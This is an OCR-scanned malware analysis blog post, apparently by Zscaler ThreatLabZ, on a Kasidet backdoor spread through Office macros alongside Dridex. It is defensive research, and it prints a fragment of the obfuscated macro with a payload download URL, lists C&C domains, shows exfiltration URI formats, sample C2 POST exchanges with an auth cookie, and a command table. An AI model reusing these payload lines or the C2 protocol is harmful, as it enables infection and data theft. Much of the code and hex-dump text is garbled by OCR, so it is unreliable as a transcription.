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Introduction

We have covered Dridex Banking Trojan being delivered via various campaigns involving Office documents with
malicious VBA macros in the past. However, over the past two weeks we are seeing these malicious VBA macros
leveraged to drop Kasidet backdoor in addition to Dridex on the infected systems. These malicious Office

documents are being spread as an attachment using spear phishing emails as described here. The malicious macro

inside the Office document is obfuscated as shown in the code snapshot below -

. 2650, BEBd, BEES, £, 2640, BRO&, BEET, 2650, BEBO,. AEES, 2EEE, B

SO0, B&ODS, O4a4, S B&E81, O&4%, =55L, BGRO, 0443, AELD

LaE, Tl
— IIGET hitp:itrinity.ad-ventures.es10kThgdba3aTkid.exe |

Public Function AddFieldToField (KEYCCDE 5() As Variant, EEYCODE 10 As Integer) As String
Dim EEYCODE & As Integer
Dim RUMFUST 2 1 As String

RUMPUST 2 1 = ""
For KEYCODE 8 = LBound (KEYCODE 9) To UBocund (KEYCODE_9)
RUMPUST 2 1 = RUMPUST 2 1 s Chr(KEYCODE 9 (KEYCODE &) - KEYCODE 10 - 7000 - 1000 - 500)

Next EEYCODE 8
2ddFieldToField = RUMPUST_2 1
End Functicon

Macro code

The macro downloads malware payload from the hardcoded URL. We have seen following URLSs used in different

document payloads that we captured for this campaign:

. armandosofsalem[.]com/19k7hg4/b4387kfd].]exe
. trinity.ad-ventures|.]es/19k7hg4/b4387kfd[.]exe
o 188.226.152[.]172/19k7hg4/b4387kfd[.]exe

In this blog, we will provide a detailed analysis for the Kasidet variant that we spotted in this campaign.
Kasidet Analysis

Installation:
Kasidet installs itself into %APPDATA% folder. It creates a new folder there with the name "Y1FeZFVYXIIb",
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this string is hardcoded in the malware. The same string is used as mutex name and in creating a Registry key for

ensuring persistence upon system reboot.

AntiVM Check:
Kasidet tries to detect analysis systems during execution through following checks.
Checking Dubugger through "IsDebuggerPresent" and "CheckRemoteDebuggerPresent” Windows APIs. It also

checks for the following popular sandbox related strings:
User Name: "MALTEST", "TEQUILABOOMBOOM", "SANDBOX", "VIRUS", "MALWARE"
File Name: "SAMPLE", "VIRUS", "SANDBOX"

It tries to detect wine software by checking if kernel32.dll is exporting "wine_get_unix_file_name" function or

not. It detects Vmware, VirtualBox, QEMU and Bochs by checking for following registry entries:

"SOFTWARE\VMware, Inc.\\VMware Tools"

"HARDWARE\DEVICEMAP\Scsi\Scsi Port\Scsi Bus\Target Id\L.ogical Unit Id", "Identifier" ,

Vmware"
Vmware
"HARDWARE\DEVICEMAP\Scsi\Scsi Port\Scsi Bus\Target Id\Logical Unit Id", "Identifier" ,
"VBOX"
"HARDWAREWDescription\\System", "SystemBiosVersion" , "VBOX"
SOFTWARE\Oracle\\VirtualBox Guest Additions"
VirtualBox
"HARDWARE\Description\\System", "VideoBiosVersion" , "VIRTUALBOX"
"HARDWARE\DEVICEMAP\Scsi\Scsi Port \Scsi Bus \Target Id \Logical Unit Id ",
QEMU "Identifier" , "QEMU"
"HARDWARE\\Description\\System" , "SystemBiosVersion" , "QEMU"
Bochs "HARDWARE\\Description\\System" , "SystemBiosVersion" , "BOCHS”

Information Stealing capabilities:

Kasidet uses following two methods for stealing information from the victim's machine:
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1. Memory Scraping — This allows Kasidet to steal credit card data from the memory of Point-Of-Sale (POS)
systems. It scans the memory of all the running processes except the operating system processes listed below:
System

smss.exe

Csrss.exe

winlogon.exe

Isass.exe

spoolsv.exe

devenv.exe
The stolen information is relayed back to the attacker using following URI format —
d=1&id=&name=&type=&data=&p=

2. Browser Hooking — This allows Kasidet to steal data from Web browsers. It can inject code into FireFox,
Chrome, and Internet Explorer (IE). Browser names are not saved in plain text and instead this variant uses the
same hash function as used by Carberp malware to encrypt the browser names. The following APIs are hooked in

the web browser for stealing sensitive data:

Browser API

FireFox PR_Write

Chrome WSASend

IE HttpSendRequestW , InternetWriteFile

The stolen information is relayed back to the attacker using following URI format —

ff=1&id=&name=&host=&form=&browser=
The information stealing feature of this Kasidet variant were deactivated if the system locale or GeoUserID

corresponds to Russia.
Network communication:

Kasidet contains a hardcoded list of Command & Control (C&C) server locations. It uses CryptStringToBinary
API call to decrypt the embedded C&C URLSs as seen below:
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Bada454c || . 51 FUSH ECH
BE4E4540 || . 8B5S F8 MO EDX, CLOCAL. 21
BR4E4558 || . 52 PUSH ED
BE464551 . &R Bl FUSH 1
BE4E4552 || . BB45 8C MO EARX, [ARG. 21
Ba484556 || . 58 FUSH ERX
BE4E4557 ||« SB4D 85 MOU ECH, CARG. 11
Ba48455H || . 51 FUSH ECE
EE4E4E5E || . FF1S S4FR4BRG CALL DWORD PTR DE: [<RCRYFTEZ2.CruptStringToBinarull>]
BR4E4561 . B3F2 Bl CHMF ERX, 1
BE484564 | .~ 75 _1C JHE SHORT _HEB9GEE. Ba4a4502
BR484566 || . 8B5S F8 MOL EDK, CLOCAL. 2]
BE4E4569 || . @355 FC AOD EDX, [LOCAL. 11
Ga4a45e0 || . CEBZ 88 MOW EYTE PTR DS: [EDKI.G
BE4E456F ||« 8B45 18 MU ERX, CARE. 2]
Ba4a4572 || . 58 FUSH _ERX
AE4E4572 || . 8B40 F2 MO ECH, CLOCAL. 21
AR4A4EFE 1] . 51 PUSH ECK

. EZ B4FEFFFF CALL _B8B98RE. AE464438
AE4E4EF0 || . B3C4 62 ADO ESP, 2
BE4E45FF || . 8945 EC MOU [[LOCAL.S1, ERX
FAR4R4ES> > RREE FR MALY Fre. Fhnral =1

L
BR4A4438=_BARE200H . Ba4844 36

Hddress |Hex dump HSCII

HEZERBER| &2 74 ¥4 FB|2A 2F 2F EE|&B &F ¥R VI|EC &1 VA El|http:-cekozvlaza
BAZEABLA|&C 2E 62 EF| &0 2F 66 E5| V7 2F ¥4 £1|73 6B V3 Z2E| l.com~few- tasks.
BEZEABZA| YA 62 FA 2ZA| &2 74 ¥4 TB|SA 2F 2F E5| 7S 6F ¥4 E5|php#http:-renote
BEZEARZE|&C 79 FE &1 &C ZE 63 &F| &0 2F 66 &S| 77 2F 74 &1 lyral.comsfew ta
HESEABR48| Y23 6B 73 ZE| YR 68 FA ZA| &2 74 ¥4 FA|SA 2ZF 2F &l|sks.php#*httpisra
HASEABSA| 6B 65 78 &1 |64 ¥ FA 73|74 ZE 63 EF |60 2F 66 65| keraduzut.com fe
BESEARER| 77 2F ¥4 £1|73 6B ¥2 ZE| 7@ 62 VO BO| 00 08 A8 88| w tasks.php.....
HEZEARFE| AR B8 QA B0 00 B8 B8 B0 00 B8 B8 GO |00 B8 B BA| .. ... ceeeeeeanns
HEZEADSH | HE 66 B8 B0 00 66 B8 BO| 00 BE B8 BE|EE B8 B8 BE| .. ... ceeeeaeans
BEZEADZH| A0 B8 A8 80|00 B8 B8 80|00 B8 B8 98|00 B8 B8 B8] ... ... ceaaennans
HEZEADAD| A0 B8 A8 80| 00 B8 B8 80|00 B8 B8 88|00 B8 B8 BE| ... ... ceeaeanans
HEZEQDED| 00 B8 B8 80| 00 B8 B8 50| 00 D8 B8 98|00 98 B8 B ... esieannnnnns
HESEABACH| BE BE B BO| 00 BE B BO| 00 BE B BE| 00 B8 BB BA| . ... eiiaannnnnns
HESEABDA | BE HAE B B8 | 00 BE B8 BO| 00 B8 B8 BO |00 BB B BA| ... ... i eeeaenns
AESEARER | BR A6 A B0 00 BE B BO| 00 BE B DO |00 BE B BA| .. ... ceeeeanans
BEZEADFR| AR B8 QA B0 00 B8 B8 BO| 00 B8 B8 DO |00 B8 B BA| .. ... cieeenenns
HEZEA1GEE | HE BE B8 B0 00 66 B8 BO| 00 BE B8 BO|EE B8 B8 BA| ... ... ceeeeneans

BEIEAL11A( 88 BE GG BA| 88 AR G0 G088 BE 00 G088 BB B0 BO|......cccceenaas
ARIFA1 26| 66 66 66 66l 66 66 66 G6|GE GE 66 GE|GE GE GG GE

&+ 1

Kasidet C&C list

Upon successful infection, Kasidet sends a HTTP POST request with data “enter=1” (without quotes). All HTTP
header fields (User-Agent, Content-type and Cookie) are hard coded in the payload itself.

aPostSHttp1_BHo db 'POST %s HTTR/1.8°',8Dh,B8AN
: DATA XREF: start Het Communication+CATo
db 'Host: %s',8Dh, Bhh
db 'User-Agent: Mozilla/5.8 {(Windows HT &6.1; WOUW&AL; ruz39.8) Gecko/2@°
db 186161 Firefox/38.8',80h, 80N
db 'Content-type: application/x-wuww-form-urlencoded' ,8Dh,Bfh
db ‘Cookie: auth=bcB85954408e881f8a5d?a?ad13b9791b" ,80h,BAN
db 'Content-length: %i',8Dh,8fh
db 8Dh,B8Ah
db *%s',8ah,0

Kasidet Hardcoded HTTP fields
C&C Server will not return required data if HTTP header fields are different. The server sends a fake 404

response code and html data stating that page is not found but the C&C commands will be hidden in the response

HTML comment tag as seen below:
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POST /few/tasks.php HTTP/1.0

Host: akexadyzyt.com

User-agent: Mozilla/5.0 (wWindows NT 6.1; wowg4; rv:39.0) Gecko/20100101 Firefox/38.0
Ccontent-type: application/x-www-form-urlencoded

Cookie: auth=bc00595440e801F8a5d2a2adl3b9791b

content-length: 7

enter=1

.HTTP/1.1 404 Not Found

Server: nginx,/1.8.0

Date: wWed, 13 Jan 2016 09:20:40 GMT
cContent-Type: text/html; charset=utfs
Content-Length: 228

Connection: close|

X-Powered-By: PHP/5.4.45-0+deb7ul
vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 MoT Found</
TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /few/tasks.php was not found on
this server.</BODY></HTML><!-- DEBUGC3VjY2ZVZCwW==ENDOF -->

Kasidet - First communication with C&C

Kasidet will request for additional commands from the C&C server with the following POST request:

POST ffew/tasks.php HTTP/1.8

Host: akexadyzyt.com

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOWGd; rv:39.8) Gecko/28180101 Firefox/35.8
Content-type: application/x-wew-form-urlencoded

Cookie: auth=bcB@555440c801f8a5d2a2ad13b9791b

Content-length: 113

cmd=18id=11beld15¥2088T 2E204bb3X2Db7 33X 20caba2esaledfRname=70467 205 =WinX20XPE28 | 32-bit ) Ap=0Rav=NE252FARY=4. JEw=08
JHTTF/1.1 484 Mot Found

Server: nginx/1.8.@

Date: I.\Ird, 12 Jan 2816 89:28:41 GMT

Content-Type: text/html; charset=utfs

Content-Length: 252

Connection: close

X-Powered-By: PHP/5.4.45-8+deb7ul

Vary: Accept-Encoding

<IDOCTYPE HTML PUBLIC “-S/SIETF//DTD HTML 2.8//EN"><HTML><HEAD><TITLE>484 Mot Found</TITLE»</HEAD><BODY:><H1>MNot Found
this server.{/BODY></HTHL><!-- DEBUGMTOBNDY zMzkeMje 2MDABNSNY YXRLIIDE] Iw=<ENDOF ==->

Kasidet request for additional commands

Variable Descriptions

cmd Command. It is hardcoded in the malware payload as '1".
id MachineGuid value fetched from Software\Microsoft\Cryptography registry key
name System Name
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0s Operating system version

p Process elevation status

av Antivirus installed on the infected system

\% Version of the bot. It is hardcoded in the malware. Current version that we analysed is 4.4
w Flag that indicates whether the system locale and UserGeolD is Russia

Like browser names, all the command strings are also encrypted using a hash function. Below are some of the

important commands:

Command Hash Description

0xOE587A65

(rate It is used in sleep function

)

0x89127D3 DDOS using HTTP protocol

0x0B37A84B6 Start keylogging and screen capture threads

0x89068E8h Download and execute additional component. This file can be DLL, EXE or VBS.
0x4A9981B7 Search for given process name in current running processes in the system
0x8D26744 Find given file in system and upload to the server
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Drop setting.bin file, change firewall settings to download and execute plugin

0CABI1E64A
component
0x10E6C4 Execute given command using windows cmd.exe
Conclusion

Malicious Office document file is a popular vector for malware authors to deliver their payloads. Dridex authors
have leveraged this technique for over a year and it was interesting to see the same campaign and URLs being
leveraged to deliver Kasidet payloads. While this does not establish any links between the two malware family
authors, it reaffirms the fact that a lot of the underlying infrastructure and delivery mechanisms are often shared

by these cyber criminals.
ThreatLabZ is actively monitoring this threat and ensuring signature coverage for Zscaler customers.

Analysis by - Abhay Yadav, Avinash Kumar and Nirmal Singh

Thank you for reading
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